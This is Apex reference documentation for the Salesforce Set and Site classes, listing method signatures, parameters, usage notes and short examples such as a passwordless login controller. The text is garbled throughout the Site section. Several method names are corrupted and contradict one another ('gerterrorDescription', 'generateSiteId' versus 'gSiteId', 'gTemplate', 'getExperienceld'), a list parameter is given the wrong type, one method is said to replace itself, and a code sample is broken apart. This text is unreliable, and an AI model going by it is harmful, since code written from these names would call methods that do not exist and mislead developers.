  Creates a new instance of the `Set` class. A set can hold elements of any data type `T`. 
Signature
public Set<T>()

Example

// Create a set of strings
Set<String> s1 = new Set<String>();
// Add two strings to it
s1.add('item1');
s1.add('item2');

Set<T>(setToCopy)

Creates a new instance of the Set class by copying the elements of the specified set. T is the data type of the elements in both sets and can be any data type.

Signature
public Set<T>(Set<T> setToCopy)

Parameters
setToCopy
Type: Set<T>
The set to initialize this set with.

Example

Set<String> s1 = new Set<String>();
s1.add('item1');
s1.add('item2');
Set<String> s2 = new Set<String>(s1);
// The set elements in s2 are copied from s1
System.debug(s2);

Set<T>(listToCopy)

Creates a new instance of the Set class by coping the list elements. T is the data type of the elements in the set and list and can be any data type.

Signature
public Set<T>(List<T> listToCopy)

Parameters
listToCopy
Type: Integer
The list to copy the elements of into this set.
Example

```java
List<Integer> ls = new List<Integer>();
    ls.add(1);
    ls.add(2);
    // Create a set based on a list
Set<Integer> s1 = new Set<Integer>(ls);
    // Elements are copied from the list to this set
System.debug(s1); // DEBUG|[1, 2]
```

Set Methods

The following are methods for `Set`. All are instance methods.

**IN THIS SECTION:**

- `add(setElement)`
  Adds an element to the set if it is not already present.
- `addAll(fromList)`
  Adds all of the elements in the specified list to the set if they are not already present.
- `addAll(fromSet)`
  Adds all of the elements in the specified set to the set that calls the method if they are not already present.
- `clear()`
  Removes all of the elements from the set.
- `clone()`
  Makes a duplicate copy of the set.
- `contains(setElement)`
  Returns `true` if the set contains the specified element.
- `containsAll(listToCompare)`
  Returns `true` if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.
- `containsAll(setToCompare)`
  Returns `true` if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set that calls the method.
- `equals(set2)`
  Compares this set with the specified set and returns `true` if both sets are equal; otherwise, returns `false`.
- `hashCode()`
  Returns the hashcode corresponding to this set and its contents.
- `isEmpty()`
  Returns `true` if the set has zero elements.
- `remove(setElement)`
  Removes the specified element from the set if it is present.
- `removeAll(listOfElementsToRemove)`
  Removes the elements in the specified list from the set if they are present.
removeAll(setOfElementsToRemove)
Removes the elements in the specified set from the original set if they are present.

retainAll(listOfElementsToRetain)
Retains only the elements in this set that are contained in the specified list.

retainAll(setOfElementsToRetain)
Retains only the elements in the original set that are contained in the specified set.

size()
Returns the number of elements in the set (its cardinality).

toString()
Returns the string representation of the set.

add(setElement)
Adds an element to the set if it is not already present.

Signature
public Boolean add(Object setElement)

Parameters
setElement
Type: Object

Return Value
Type: Boolean

Usage
This method returns true if the original set changed as a result of the call. For example:

```
Set<String> myString = new Set<String>{'a', 'b', 'c'};
Boolean result = myString.add('d');
System.assertEquals(true, result);
```

addAll(fromList)
Adds all of the elements in the specified list to the set if they are not already present.

Signature
public Boolean addAll(List<Object> fromList)

Parameters
fromList
Type: List

System Namespace
Apex Developer Guide
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

Usage
This method results in the union of the list and the set. The list must be of the same type as the set that calls the method.

**addAll(fromSet)**
Adds all of the elements in the specified set to the set that calls the method if they are not already present.

Signature
```
public Boolean addAll(Set<Object> fromSet)
```

Parameters
```
fromSet
 Type: Set<Object>
```

Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the union of the two sets. The specified set must be of the same type as the original set that calls the method.

Example
```
Set<String> myString = new Set<String>{'a', 'b'};
Set<String> sString = new Set<String>{'c'};

Boolean result1 = myString.addAll(sString);
System.assertEquals(true, result1);
```

**clear()**
Removes all of the elements from the set.

Signature
```
public Void clear()
```

Return Value
Type: Void
**clone()**

Makes a duplicate copy of the set.

**Signature**

```java
public Set<Object> clone()
```

**Return Value**

Type: `Set` (of same type)

**contains(setElement)**

Returns `true` if the set contains the specified element.

**Signature**

```java
public Boolean contains(Object setElement)
```

**Parameters**

- `setElement`
  Type: `Object`

**Return Value**

Type: `Boolean`

**Example**

```java
Set<String> myString = new Set<String>{'a', 'b'};
Boolean result = myString.contains('z');
System.assertEquals(false, result);
```

**containsAll(listToCompare)**

Returns `true` if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.

**Signature**

```java
public Boolean containsAll(List<Object> listToCompare)
```

**Parameters**

- `listToCompare`
  Type: `List<Object>`

**Return Value**

Type: `Boolean`
containsAll(setToCompare)

Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set that calls the method.

Signature

public Boolean containsAll(Set<Object> setToCompare)

Parameters

setToCompare
Type: Set<Object>

Return Value

Type: Boolean

Example

Set<String> myString = new Set<String>{'a', 'b'};
Set<String> sString = new Set<String>{'c'};
Set<String> rString = new Set<String>{'a', 'b', 'c'};

Boolean result1, result2;
result1 = myString.addAll(sString);
System.assertEquals(true, result1);

result2 = myString.containsAll(rString);
System.assertEquals(true, result2);

equals(set2)

Compares this set with the specified set and returns true if both sets are equal; otherwise, returns false.

Signature

public Boolean equals(Set<Object> set2)

Parameters

set2
Type: Set<Object>
The set2 argument is the set to compare this set with.

Return Value

Type: Boolean
Usage

Two sets are equal if their elements are equal, regardless of their order. The `==` operator is used to compare the elements of the sets. The `==` operator is equivalent to calling the `equals` method, so you can call `set1.equals(set2);` instead of `set1 == set2;`.

**hashCode()**

Returns the hashcode corresponding to this set and its contents.

**Signature**

```java
public Integer hashCode()
```

**Return Value**

Type: `Integer`

**isEmpty()**

Returns `true` if the set has zero elements.

**Signature**

```java
public Boolean isEmpty()
```

**Return Value**

Type: `Boolean`

**Example**

```java
Set<Integer> mySet = new Set<Integer>();
Boolean result = mySet.isEmpty();
System.assertEquals(true, result);
```

**remove(setElement)**

Removes the specified element from the set if it is present.

**Signature**

```java
public Boolean remove(Object setElement)
```

**Parameters**

- `setElement`
  
  Type: `Object`
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

`removeAll(listOfElementsToRemove)`
Removes the elements in the specified list from the set if they are present.

Signature
`public Boolean removeAll(List<Object> listOfElementsToRemove)`

Parameters
- `listOfElementsToRemove`  
  Type: List<Object>

Usage
This method results in the relative complement of the two sets. The list must be of the same type as the set that calls the method.

Example
```
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.removeAll(myList);
System.assertEquals(true, result);
Integer result2 = mySet.size();
System.assertEquals(1, result2);
```

`removeAll(setOfElementsToRemove)`
Removes the elements in the specified set from the original set if they are present.

Signature
`public Boolean removeAll(Set<Object> setOfElementsToRemove)`

Parameters
- `setOfElementsToRemove`  
  Type: Set<Object>
Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the relative complement of the two sets. The specified set must be of the same type as the original set that calls the method.

**retainAll(listOfElementsToRetain)**
Retains only the elements in this set that are contained in the specified list.

Signature
```
public Boolean retainAll(List<Object> listOfElementsToRetain)
```

Parameters
```
listOfElementsToRetain
Type: List<Object>
```

Return Value
Type: Boolean
This method returns true if the original set changed as a result of the call.

Usage
This method results in the intersection of the list and the set. The list must be of the same type as the set that calls the method.

Example
```
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);
```

**retainAll(setOfElementsToRetain)**
Retains only the elements in the original set that are contained in the specified set.

Signature
```
public Boolean retainAll(Set setOfElementsToRetain)
```

Parameters
```
setOfElementsToRetain
Type: Set
```
Return Value
Type: Boolean
Returns true if the original set changed as a result of the call.

Usage
This method results in the intersection of the two sets. The specified set must be of the same type as the original set that calls the method.

size()
Returns the number of elements in the set (its cardinality).

Signature
public Integer size()

Return Value
Type: Integer

Example
```java
Set<Integer> mySet = new Set<Integer>{1, 2, 3};
List<Integer> myList = new List<Integer>{1, 3};
Boolean result = mySet.retainAll(myList);
System.assertEquals(true, result);

Integer result2 = mySet.size();
System.assertEquals(2, result2);
```

toString()
Returns the string representation of the set.

Signature
public String toString()

Return Value
Type: String

Usage
When used in cyclic references, the output is truncated to prevent infinite recursion. When used with large collections, the output is truncated to avoid exceeding total heap size and maximum CPU time.

- Up to 10 items per collection are included in the output, followed by an ellipsis (…).
- If the same object is included multiple times in a collection, it’s shown in the output only once; subsequent references are shown as (already output).
Site Class

Use the Site Class to manage your Salesforce Sites.

Namespace

System

Site Methods

The following are methods for Site. All methods are static.

IN THIS SECTION:

- changePassword(newPassword, verifyNewPassword, oldPassword)
  Changes the password of the current user.
- createExternalUser(user, accountId)
  Creates a Salesforce Site or Experience Cloud site user for the given account and associates it with the site.
- createExternalUser(user, accountId, password)
  Creates a Salesforce Site or Experience Cloud site user for the given account and associates it with the site. This method sends an email with the specified password to the user.
- createExternalUser(user, accountId, password, sendEmailConfirmation)
  Creates a Salesforce Site or Experience Cloud site user and associates it with the given account. This method sends the user an email with the specified password and a new user confirmation email.
- createPersonAccountPortalUser(user, ownerId, password)
  Creates a person account using the default record type defined on the guest user’s profile, then enables it for the site’s portal.
- createPersonAccountPortalUser(user, ownerId, recordTypeId, password)
  Creates a person account using the specified `recordTypeId`, then enables it for the site’s portal.
- createPortalUser(user, accountId, password, sendEmailConfirmation)
  Creates a portal user for the given account and associates it with the site’s portal.
- forgotPassword(username, emailTemplateName)
  Resets the user’s password and sends an email to the user with the user’s new password. You can specify a custom email template or use the default email template. Returns a value indicating whether the password reset was successful.
- forgotPassword(username)
  Resets the user’s password and sends an email to the user with the user’s new password. Returns a value indicating whether the password reset was successful.
- getAdminEmail()
  Returns the email address of the site administrator.
- getAdminId()
  Returns the user ID of the site administrator.
- getAnalyticsTrackingCode()
  The tracking code associated with your site. Services such as Google Analytics can use this code to track page request data for your site.
getCurrentSiteUrl()  
Deprecated. This method was replaced by getBaseUrl() in API version 30.0. Returns the base URL of the current site that references and links should use.

getBaseCustomUrl()  
Returns a base URL for the current site that doesn't use a force.com subdomain. The returned URL uses the same protocol (HTTP or HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never ends with a / character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns an empty string. If the current request is not a site request, then this method returns an empty string. This method replaced getCustomWebAddress and includes the custom URL’s path prefix.

getBaseInsecureUrl()  
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request’s domain is used. The returned value includes the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an empty string.

getBaseRequestUrl()  
Returns the base URL of the current site for the requested URL. This isn’t influenced by the referring page’s URL. The returned URL uses the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an empty string.

getBaseSecureUrl()  
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request’s domain is preferred if it supports HTTPS. Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns an empty string. The returned value includes the path prefix and never ends with a / character. If the current request is not a site request, then this method returns an empty string.

getBaseUrl()  
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page’s URL instead of the current request’s URL. The returned value includes the path prefix and never ends with a / character. If the current request is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.

getCustomWebAddress()  
Deprecated. This method was replaced by getBaseCustomUrl() in API version 30.0.

getDomain()  
Returns the Salesforce Site domain (secure.force.com subdomain URL hostname) for your organization.

gerterrorDescription()  
Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.

gerterrorMessage()  
Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.

getExperienceld()  
Returns the value of the experience ID (expid). This expid value comes from a cookie in the user’s web browser.

getMasterLabel()  
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns null.

getName()  
Returns the API name of the current site.
getOriginalUrl()
Returns the original URL for this page if it's a designated error page for the site; otherwise, returns null.

getPasswordPolicyStatement()
Returns the password requirements for a Salesforce Site or Experience Cloud site created with the Customer Service template.

getPathPrefix()
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request, then this method returns an empty string. This method replaced getPathPrefix in API version 30.0.

defaultPathPrefix()
Deprecated. This method was replaced by getPathPrefix() in API version 30.0.

generateSiteId()
Returns the ID of the current site. If the current request is not a site request, then this field returns null.

generateTemplate()
Returns the template name associated with the current site; returns the default template if no template has been designated.

generateSiteType()
Returns the API value of the site type field for the current site. This can be Visualforce for a Salesforce site, Siteforce for a Site.com site, ChatterNetwork for an Experience Cloud site, or ChatterNetworkPicasso for an Experience Cloud site. If the current request is not a site request, then this method returns null.

generateSiteTypeLabel()
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns null.

isLoginEnabled()
Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.

isPasswordExpired()
For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

isRegistrationEnabled()
Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.

isValidUsername(username)
Returns true if the given username is valid; otherwise, returns false.

login(username, password, startUrl)
 Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl is not a relative path, it defaults to the site's designated index page.

passwordlessLogin(userId, methods, startUrl)
Logs in a user to a Salesforce Site or Experience Cloud site using an identity verification method, such as email or text, instead of a password. Passwordless login is a convenient, mobile-centric way to welcome users into your site. Let your users log in with something other than their password, like their email address or phone number.

setExperienceId(expIdValue)
Sets the experience ID for the current user. Use this method to populate the value of the experience ID (expid) cookie in the user's web browser.

setPortalUserAsAuthProvider(user, contactId)
Sets the specified user information within the site's portal via an authentication provider.
validatePassword(user, password, confirmPassword)
Indicates whether a given password meets the requirements specified by org-wide or profile-based password policies in the current user’s org.

changePassword(newPassword, verifyNewPassword, oldPassword)
Changes the password of the current user.

Signature
public static System.PageReference changePassword(String newPassword, String verifyNewPassword, String oldPassword)

Parameters
newPassword
Type: String
verifyNewPassword
Type: String
oldPassword
Type: String
Optional only if the current user’s password has expired; otherwise, required.

Return Value
Type: System.PageReference

Usage
Calls to this method in API version 30.0 and later can’t commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

createExternalUser(user, accountId)
Creates a Salesforce Site or Experience Cloud site user for the given account and associates it with the site.

Signature
public static Id createExternalUser(SObject user, String accountId)

Parameters
user
Type: SObject
Information required to create a user.
The email address of the user is used to look for matching contacts associated with the specified accountId. If a matching contact is found and is already used by an external user, self-registration isn’t successful. If a matching contact is found but isn’t used by an external user, it is used for the new external user. If there is no matching contact, a new contact is created for the new external user.
**accountID**
Type: **String**
The ID of the account you want to associate the user with.

Return Value
Type: **Id**
The ID of the user that this method creates.

Usage
This method throws **Site.ExternalUserCreateException** when user creation fails.
The **nickname** field is required for the User sObject when using the **createExternalUser** method.

⚠️ **Note:** This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later can't commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

**createExternalUser(user, accountId, password)**
Creates a Salesforce Site or Experience Cloud site user for the given account and associates it with the site. This method sends an email with the specified password to the user.

Signature
```
public static Id createExternalUser(SObject user, String accountId, String password)
```

Parameters

user
  Type: **SObject**
  Information required to create a user.
  The email address of the user is used to look for matching contacts associated with the specified **accountId**. If a matching contact is found and is already used by an external user, self-registration isn't successful. If a matching contact is found but isn't used by an external user, it is used for the new external user. If there is no matching contact, a new contact is created for the new external user.

accountId
  Type: **String**
  The ID of the account you want to associate the user with.

password
  Type: **String**
  The password of the Salesforce Site or Experience Cloud site user. If not specified, or if set to **null** or an empty string, this method sends a new password email to the portal user.

Return Value
Type: **Id**
The ID of the user that this method creates.

Usage

This method throws `Site.ExternalUserCreateException` when user creation fails.

The **nickname** field is required for the **User** sObject when using the `createExternalUser` method.

**Note:** This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later can’t commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

**createExternalUser(user, accountId, password, sendEmailConfirmation)**

Creates a Salesforce Site or Experience Cloud site user and associates it with the given account. This method sends the user an email with the specified password and a new user confirmation email.

**Signature**

```java
public static Id createExternalUser(SObject user, String accountId, String password, Boolean sendEmailConfirmation)
```

**Parameters**

**user**

Type: `SObject`

Information required to create a user.

The email address of the user is used to look for matching contacts associated with the specified `accountId`. If a matching contact is found and is already used by an external user, self-registration isn’t successful. If a matching contact is found but isn’t used by an external user, it is used for the new external user. If there is no matching contact, a new contact is created for the new external user.

**accountId**

Type: `String`

The ID of the account you want to associate the user with.

**password**

Type: `String`

The password of the Salesforce Site or Experience Cloud site user. If not specified, or if set to `null` or an empty string, this method sends a new password email to the portal user.

**sendEmailConfirmation**

Type: `Boolean`

Determines whether a new user email is sent to the portal user. Set it to `true` to send a new user email to the portal user. The default is `false`, that is, the new user email isn’t sent.

**Return Value**

Type: `Id`

The ID of the user that this method creates.
Usage

This method throws `Site.ExternalUserCreateException` when user creation fails.

The **nickname** field is required for the **User** sObject when using the `createExternalUser` method.

⚠️ **Note:** This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later can’t commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

`createPersonAccountPortalUser(user, ownerId, password)`

Creates a person account using the default record type defined on the guest user’s profile, then enables it for the site’s portal.

Signature

```java
public static ID createPersonAccountPortalUser(sObject user, String ownerId, String password)
```

Parameters

- **user**
  - Type: `sObject`
- **ownerId**
  - Type: `String`
- **password**
  - Type: `String`

Return Value

Type: `ID`

Usage

Calls to this method in API version 30.0 and later can’t commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

⚠️ **Note:** This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new user profile is a high-volume portal user.

`createPersonAccountPortalUser(user, ownerId, recordTypeId, password)`

Creates a person account using the specified `recordTypeId`, then enables it for the site’s portal.

Signature

```java
public static ID createPersonAccountPortalUser(sObject user, String ownerId, String recordTypeId, String password)
```
createPortalUser(user, accountId, password, sendEmailConfirmation)

Creates a portal user for the given account and associates it with the site's portal.

Signature

public static ID createPortalUser(sObject user, String accountId, String password, Boolean sendEmailConfirmation)

Parameters

user
  Type: sObject

accountId
  Type: String

password
  Type: String

  (Optional) The password of the portal user. If not specified, or if set to null or an empty string, this method sends a new password email to the portal user.

sendEmailConfirmation
  Type: Boolean

  (Optional) Determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal user. The default is false, that is, the new user email isn't sent.
Return Value
Type: ID

Usage
If you're using API version 34.0 or later, we recommend using the `createExternalUser()` methods because they offer better error handling than this method.

The `nickname` field is required for the user sObject when using the `createPortalUser` method.

Note: This method is only valid when a site is associated with a Customer Portal.

Calls to this method in API version 30.0 and later can't commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

`forgotPassword(username, emailTemplateName)`
Resets the user's password and sends an email to the user with the user's new password. You can specify a custom email template or use the default email template. Returns a value indicating whether the password reset was successful.

Signature
```
public static Boolean forgotPassword(String username, String emailTemplateName)
```

Parameters
- `username`
  Type: String
- `emailTemplateName`
  Type: String
  If provided, the method applies the template to the email. Otherwise, the method applies the default system template. If an email template that doesn't exist is provided, the system logs an exception.

Return Value
Type: Boolean

Note: The return value is always true unless it's called outside of a Visualforce page.

Usage
Calls to this method in API version 30.0 and later can't commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

Note: `Site.forgotPassword` cannot be used with the `@future` method, which enables asynchronous execution.

`forgotPassword(username)`
Resets the user's password and sends an email to the user with the user's new password. Returns a value indicating whether the password reset was successful.
Signature

public static Boolean forgotPassword(String username)

Parameters

username
Type: String

Return Value
Type: Boolean

Note: The return value is always true unless it's called outside of a Visualforce page.

Usage

Calls to this method in API version 30.0 and later can't commit the transaction automatically. Calls to this method before API version 30.0 commit the transaction, making it impossible to roll back to a save point before the call.

Note: Site.forgotPassword cannot be used with the @future method, which enables asynchronous execution.

getAdminEmail()

Returns the email address of the site administrator.

Signature

public static String getAdminEmail()

Return Value
Type: String

getAdminId()

Returns the user ID of the site administrator.

Signature

public static ID getAdminId()

Return Value
Type: ID

getAnalyticsTrackingCode()

The tracking code associated with your site. Services such as Google Analytics can use this code to track page request data for your site.
Signature

```java
public static String getAnalyticsTrackingCode()
```

Return Value

Type: String

`getCurrentSiteUrl()`

Deprecated. This method was replaced by `getBaseUrl()` in API version 30.0. Returns the base URL of the current site that references and links should use.

Note that this may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and always ends with a `/` character. If the current request is not a site request, then this method returns `null`. If the current request is not a site request, then this method returns `null`. This method was replaced by `getBaseUrl` in API version 30.0.

Signature

```java
public static String getCurrentSiteUrl()
```

Return Value

Type: String

Usage

Use `getBaseUrl()` instead.

`getBaseCustomUrl()`

Returns a base URL for the current site that doesn't use a force.com subdomain. The returned URL uses the same protocol (HTTP or HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never ends with a `/` character. If all the custom URLs in this site end in Force.com or this site has no custom URLs, then this returns an empty string. If the current request is not a site request, then this method returns an empty string. This method replaced `getCustomWebAddress` and includes the custom URL's path prefix.

Signature

```java
public static String getBaseCustomUrl()
```

Return Value

Type: String

Usage

This method replaces `getCustomWebAddress()` and includes the custom URL's path prefix.
**getBaseInsecureUrl()**

Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**Signature**

```java
public static String getBaseInsecureUrl()
```

**Return Value**

Type: `String`

**getBaseRequestUrl()**

Returns the base URL of the current site for the requested URL. This isn't influenced by the referring page's URL. The returned URL uses the same protocol (HTTP or HTTPS) as the current request. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**Signature**

```java
public static String getBaseRequestUrl()
```

**Return Value**

Type: `String`

**getBaseSecureUrl()**

Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS. Domains that are not Force.com subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the site, is used if no other HTTPS domains exist in the current site. If no HTTPS custom URLs exist in the site, then this method returns an empty string. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this method returns an empty string.

**Signature**

```java
public static String getBaseSecureUrl()
```

**Return Value**

Type: `String`

**getBaseUrl()**

Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL instead of the current request's URL. The returned value includes the path prefix and never ends with a `/` character. If the current request is not a site request, then this field returns an empty string. This field replaces getCurrentSiteUrl.
Signature

```java
public static String getBaseUrl()
```

Return Value

Type: String

Usage

This method replaces `getCurrentSiteUrl()`.

**getCustomWebAddress()**

Deprecated. This method was replaced by `getBaseCustomUrl()` in API version 30.0.

Returns the request's custom URL if it doesn’t end in Lightning Platform or returns the site’s primary custom URL. If neither exist, then this returns null. Note that the URL’s path is always the root, even if the request’s custom URL has a path prefix. If the current request is not a site request, then this method returns null. The returned value always ends with a `/` character.

Signature

```java
public static String getCustomWebAddress()
```

Return Value

Type: String

Usage

Use `getBaseCustomUrl()` instead.

**getDomain()**

Returns the Salesforce Site domain (secure.force.com subdomain URL hostname) for your organization.

Signature

```java
public static String getDomain()
```

Return Value

Type: String

**getErrorDescription()**

Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.

Signature

```java
public static String getErrorDescription()
```
getErrorMessage()
Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.

Signature
public static String getErrorMessage()

Return Value
Type: String

gExperienceId()
Returns the value of the experience ID (expid). This expid value comes from a cookie in the user’s web browser.

Signature
public static String getExperienceId()

Usage
Use the getExperienceId and setExperienceId methods to implement dynamic login experiences. You can set the experience ID with setExperienceId or by extending the following endpoints with expid_value.

• community-url/services/oauth2/authorize/expid_value
• community-url/idp/endpoint/HttpPost/expid_value
• community-url/idp/endpoint/HttpRedirect/expid_value
• community-url_login_page/expid={value}
• community-url/CommunitiesSelfReg/expid={value}
• secur/forgotpassword.jsp/expid={value}

The cookie is set when the browser loads the URLs with the expid values.

gMasterLabel()
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns null.

Signature
public static String getMasterLabel()
Return Value
Type: String

**getName()**
Returns the API name of the current site.

Signature
public static String getName()

Return Value
Type: String

**getOriginalUrl()**
Returns the original URL for this page if it's a designated error page for the site; otherwise, returns null.

Signature
public static String getOriginalUrl()

Return Value
Type: String

**getPasswordPolicyStatement()**
Returns the password requirements for a Salesforce Site or Experience Cloud site created with the Customer Service template.

Signature
public static String getPasswordPolicyStatement()

Return Value
Type: String

**getPathPrefix()**
Returns the URL path prefix of the current site or an empty string if none. For example, if the requested site URL is http://myco.force.com/partners, then /partners is the path prefix. If the current request is not a site request, then this method returns an empty string. This method replaced getPrefix in API version 30.0.

Signature
public static String getPathPrefix()
getPrefix()

Deprecated. This method was replaced by getPathPrefix() in API version 30.0.

Returns the URL path prefix of the current site. For example, if your site URL is SitesSubdomainName.secure.force.com/partners, /partners is the path prefix. Returns null if the prefix isn’t defined. If the current request is not a site request, then this method returns a null.

Signature

public static String getPrefix()

Return Value
Type: String

gSiteId()

Returns the ID of the current site. If the current request is not a site request, then this field returns null.

Signature

public static String gSiteId()

Return Value
Type: Id

gTemplate()

Returns the template name associated with the current site; returns the default template if no template has been designated.

Signature

public static System.PageReference gTemplate()

Return Value
Type: System.PageReference

gSiteType()

Returns the API value of the site type field for the current site. This can be Visualforce for a Salesforce site, Siteforce for a Site.com site, ChatterNetwork for an Experience Cloud site, or ChatterNetworkPicasso for an Experience Cloud site. If the current request is not a site request, then this method returns null.
Signature

```java
public static String getSiteType()
```

Return Value

Type: String

**getSiteTypeLabel()**

Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this method returns null.

Signature

```java
public static String getSiteTypeLabel()
```

Return Value

Type: String

**isLoginEnabled()**

Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.

Signature

```java
public static Boolean isLoginEnabled()
```

Return Value

Type: Boolean

**isPasswordExpired()**

For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

Signature

```java
public static Boolean isPasswordExpired()
```

Return Value

Type: Boolean

**isRegistrationEnabled()**

Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.

Signature

```java
public static Boolean isRegistrationEnabled()
```
isValidUsername(username)

Returns true if the given username is valid; otherwise, returns false.

Signature
public static Boolean isValidUsername(String username)

Parameters
username
  Type: String
  The username to test for validity.

Return Value
Type: Boolean

login(username, password, startUrl)

Allows users to log in to the current site with the given username and password, then takes them to the startUrl. If startUrl is not a relative path, it defaults to the site's designated index page.

Signature
public static System.PageReference login(String username, String password, String startUrl)

Parameters
username
  Type: String
password
  Type: String
startUrl
  Type: String

Return Value
Type: System.PageReference

Usage
All DML statements before the call to Site.login get committed. It's not possible to roll back to a save point that was created before a call to Site.login.
passwordlessLogin(userId, methods, startUrl)

Logs in a user to a Salesforce Site or Experience Cloud site using an identity verification method, such as email or text, instead of a password. Passwordless login is a convenient, mobile-centric way to welcome users into your site. Let your users log in with something other than their password, like their email address or phone number.

Signature

public static System.PageReference passwordlessLogin(Id userId,
List<Auth.VerificationMethod> methods, String startUrl)

Parameters

userId
Type: Id
ID of the user to log in.

methods
Type: List<Auth.VerificationMethod>
List of identity verification methods available to the user for passwordless login.

startUrl
Type: String
Path to the page that users see after they log in.

Return Value

Type: System.PageReference

Usage

Include this method in the Apex controller of a custom login page implementation.

PasswordlessLogin Example

This simple code example of an Apex controller contains the passwordlessLogin method. The PageReference returned by passwordlessLogin redirects the user to the Salesforce Verify page. When the user enters the correct code, the user is redirected to the site page specified by the start URL.

```apex
global with sharing class MFILoginController
{
    //Input variables
    global String input {get; set;}
    public String startURL {get; set;}
    public List<Auth.VerificationMethod> methods;
    public String error;

    global MFILoginController()
    {
```
// Add verification methods in priority order
methods = new List<Auth.VerificationMethod>();
methods.add(Auth.VerificationMethod.SMS);
methods.add(Auth.VerificationMethod.EMAIL);
methods.add(Auth.VerificationMethod.U2F);
methods.add(Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
methods.add(Auth.VerificationMethod.TOTP);

global PageReference login() {
    List<User> users = null;

    // Empty input
    if (input == null || input == '')
    {
        error = 'Enter Username';
        return null;
    }

    users = [select name, id, email from User where username=:input];
    if (users == null || users.isEmpty())
    {
        error = 'Can\'t find a user';
        return null;
    }

    if (startURL == null) startURL = '/';
    return Site.passwordlessLogin(users[0].id, methods, startURL);
}

setExperienceId(expIdValue)
Sets the experience ID for the current user. Use this method to populate the value of the experience ID (expid) cookie in the user’s web browser.

Signature
public static void setExperienceId(String expIdValue)

Parameters
expIdValue
Type: String
A value that indicates the user’s login experience.

The value must contain alphanumeric characters only, up to 30 characters.

Usage
Use setExperienceId when you’re implementing dynamic login experiences. A login experience refers to a login page plus any secondary pages associated with the login page (such as multi-factor authentication (MFA) or a login flow). You define different login experiences depending on who users are or where they’re logging in from. For example, you can require a different registration process
based on the user’s location. In this case, expIdValue includes a state or country code. When the user logs in, the URL contains the experience ID parameter, {expid}. The {expid} parameter is replaced by the value stored in expIdValue, such as .jp. Then the user is redirected to the Japanese login experience.

Example

```java
String expid = ApexPages.currentPage().getParameters().get('expid');
if (expId != null) {
    Site.setExperienceId(expId);
}
```

**setPortalUserAsAuthProvider(user, contactId)**

Sets the specified user information within the site’s portal via an authentication provider.

**Signature**

```java
public static Void setPortalUserAsAuthProvider(sObject user, String contactId)
```

**Parameters**

- **user**
  - Type: sObject
- **contactId**
  - Type: String

**Return Value**

Type: Void

**Usage**

- This method is only valid when a site is associated with a Customer Portal.
